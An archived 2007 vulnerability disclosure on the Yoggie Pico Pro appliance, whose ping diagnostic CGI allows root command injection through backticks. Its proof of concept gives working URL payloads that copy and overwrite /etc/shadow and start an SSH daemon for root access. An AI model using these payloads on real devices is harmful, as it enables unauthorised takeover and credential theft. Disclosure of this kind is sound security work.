[Full-disclosure] Yoggie Pico Pro Remote Code Execution

2007-07-02T00:00:00
ID SECURITYVULNS:DOC:17393
Type securityvulns
Reporter Securityvulns
Modified 2007-07-02T00:00:00

Description

This vulnerability affects the Yoggie Pico Pro (and most certainly the Yoggie Pico, due to them being effectively identical) security appliance. They expose a 'ping' function in their web interface for diagnostic purposes, which passes the IP/hostname given directly to ping in the form of 'ping -c 10 <given ip>'. They do basic checking for ampersands, semicolons, and pipes, but do not check for backticks, which allows you to execute commands as root on the device.

Proof of concept: When run from a machine with a Yoggie Pico Pro connected, yoggie.yoggie.com resolves to the IP of the device, so these links will of course not work unless you have a device connected. I didn't brute-force the root password, so I explain how you can replace their /etc/shadow to set the password to whatever you choose.

To access the original /etc/shadow: https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60 https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt Replace the root password with the password of your choosing, then wrap the file in single quotes and urlencode the entire string.

To replace the original /etc/shadow with your own: https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded shadow file>%20%3E%20/etc/shadow%60

Finally, running dropbear sshd on port 7290 (random choice -- not blocked by their firewall rules) https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60

Log in as root with the password chosen, and you now have complete control over the device. It's quite powerful little computer, and a whole hell of a lot of fun to play around with. A word of advice, though -- don't touch libc in any way, shape, or form, as there's no reflash mechanism I've found on the device, which is why I now have a bricked pico pro sitting on my desk ;)

  • Cody Brocious

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